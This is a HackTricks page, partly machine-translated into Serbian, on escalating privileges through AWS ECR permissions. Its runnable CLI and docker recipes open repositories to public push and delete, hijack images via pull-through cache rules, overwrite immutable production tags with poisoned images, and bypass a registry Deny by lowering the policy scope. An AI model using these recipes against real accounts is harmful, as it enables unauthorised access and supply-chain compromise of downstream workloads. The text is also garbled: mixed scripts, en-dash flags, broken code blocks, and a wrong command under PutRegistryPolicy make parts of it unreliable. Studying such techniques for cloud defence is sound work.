AWS - ECR Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Napadač sa ecr:GetAuthorizationToken i ecr:BatchGetImage može da se prijavi na ECR i preuzme images.

For more info on how to download images:

AWS - ECR Post Exploitation

Potential Impact: Indirect privesc by intercepting sensitive information in the traffic.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Napadač sa svim tim dozvolama može da se prijavi na ECR i upload images. Ovo može biti korisno za eskalaciju privilegija na druga okruženja gde se ti images koriste.

To learn how to upload a new image/update one, check:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Isto kao prethodni odeljak, ali za public repositories.

ecr:SetRepositoryPolicy

Napadač sa ovom dozvolom može change the repository policy da sebi (ili čak svima) dodeli read/write access.
For example, in this example read access is given to everyone.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Sadržaj my-policy.json:

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Kao i prethodni odeljak, ali za javne repozitorijume.
Napadač može izmeniti politiku repozitorijuma ECR Public repozitorijuma kako bi omogućio neovlašćen javni pristup ili eskalirao svoje privilegije.

# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Potencijalni uticaj: Neovlašćen javni pristup ECR Public repository, omogućavajući bilo kojem korisniku da push, pull ili delete images.

ecr:PutRegistryPolicy

Napadač sa ovom dozvolom može promeniti registry policy da sebi, svom nalogu (ili čak svima) dodeli read/write access.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

ecr:CreatePullThroughCacheRule

Iskoristite ECR Pull Through Cache (PTC) pravila da mapirate napadačem kontrolisanu upstream namespace na poverljivi privatni ECR prefiks. Ovo omogućava workload-ovima koji povlače iz privatnog ECR da transparentno dobiju napadačev image bez ikakvog push-a u privatni ECR.

  • Potrebne dozvole: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Ako koristite ECR Public kao upstream: ecr-public:* za kreiranje/push u public repo.
  • Testirano upstream: public.ecr.aws

Koraci (primer):

  1. Pripremite napadačev image u ECR Public

Get your ECR Public alias with: aws ecr-public describe-registries –region us-east-1

docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

  1. Kreirajte PTC pravilo u privatnom ECR da mapirate poverljivi prefiks na public registry aws ecr create-pull-through-cache-rule –region us-east-2 –ecr-repository-prefix ptc –upstream-registry-url public.ecr.aws

  2. Povucite napadačev image putem privatnog ECR puta (nije vršen push u privatni ECR) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run –rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potential Impact: Kompromitovanje lanca snabdevanja preuzimanjem unutrašnjih imena image-ova pod izabranim prefiksom. Bilo koji workload koji povlači image-e iz privatnog ECR koristeći taj prefiks će dobiti sadržaj pod kontrolom napadača.

ecr:PutImageTagMutability

Iskoristite ovu dozvolu da promenite repozitorijum sa nepromenljivim tagovima u promenljive i prepišete poverljive tagove (npr. latest, stable, prod) sadržajem pod kontrolom napadača.

  • Potrebne dozvole: ecr:PutImageTagMutability plus mogućnosti za push (ecr:GetAuthorizationToken, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:CompleteLayerUpload, ecr:PutImage).
  • Uticaj: Kompromitovanje lanca snabdevanja tiho zamenom nepromenljivih tagova bez menjanja imena tagova.

Koraci (primer):

Zatrovati nepromenljivi tag prebacivanjem njegove promenljivosti (mutability) ```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE acct=$(aws sts get-caller-identity --query Account --output text) aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com # Build and push initial trusted tag printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Attempt overwrite while IMMUTABLE (should fail) printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Flip to MUTABLE and overwrite aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Validate consumers pulling by tag now get the poisoned image (prints V2) docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod ```

Global registry hijack putem ROOT Pull-Through Cache pravila

Kreirajte Pull-Through Cache (PTC) pravilo koristeći specijalni ecrRepositoryPrefix=ROOT да mapirate root приватног ECR регистра на upstream јавни registry (нпр., ECR Public). Bilo koji pull na nepostojeći репозиторijum у приватном регистру биће transparentno послужен из upstream-а, омогућавајући supply-chain hijacking без push-овања у приватни ECR.

  • Zahtevane permisije: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule, ecr:GetAuthorizationToken.
  • Uticaj: Pull zahtevi ka <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag> uspevaju и аутоматски креирају приватне репозиторијуме који су преузети са upstream-а.

Napomena: For ROOT rules, omit --upstream-repository-prefix. Supplying it will cause a validation error.

Demo (us-east-1, upstream public.ecr.aws) ```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text)

1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)

aws ecr create-pull-through-cache-rule
–region “$REGION”
–ecr-repository-prefix ROOT
–upstream-registry-url public.ecr.aws

2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)

aws ecr get-login-password –region “$REGION” | docker login –username AWS –password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

Example using an official mirror path hosted in ECR Public

(public.ecr.aws/docker/library/alpine:latest)

docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

3) Verify repo and image now exist without any push

aws ecr describe-repositories –region “$REGION”
–query “repositories[?repositoryName==docker/library/alpine]” aws ecr list-images –region “$REGION” –repository-name docker/library/alpine –filter tagStatus=TAGGED

4) Cleanup

aws ecr delete-pull-through-cache-rule –region “$REGION” –ecr-repository-prefix ROOT aws ecr delete-repository –region “$REGION” –repository-name docker/library/alpine –force || true

</details>

### `ecr:PutAccountSetting` (Smanjivanje `REGISTRY_POLICY_SCOPE` da bi se zaobišla registry policy Deny)

Iskoristite `ecr:PutAccountSetting` da promenite opseg registry policy sa `V2` (policy koji se primenjuje na sve ECR akcije) na `V1` (policy koji se primenjuje samo na `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Ako restriktivan registry policy Deny blokira akcije poput `CreatePullThroughCacheRule`, smanjenje opsega na `V1` uklanja to sprovođenje tako da identity‑policy Allows stupe na snagu.

- Potrebne permisije: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Uticaj: Mogućnost izvršavanja ECR akcija koje je ranije blokirao registry policy Deny (npr. kreiranje PTC pravila) privremenim postavljanjem opsega na `V1`.

Koraci (primer):

<details>
<summary>Zaobiđite registry policy Deny za CreatePullThroughCacheRule promenom na V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks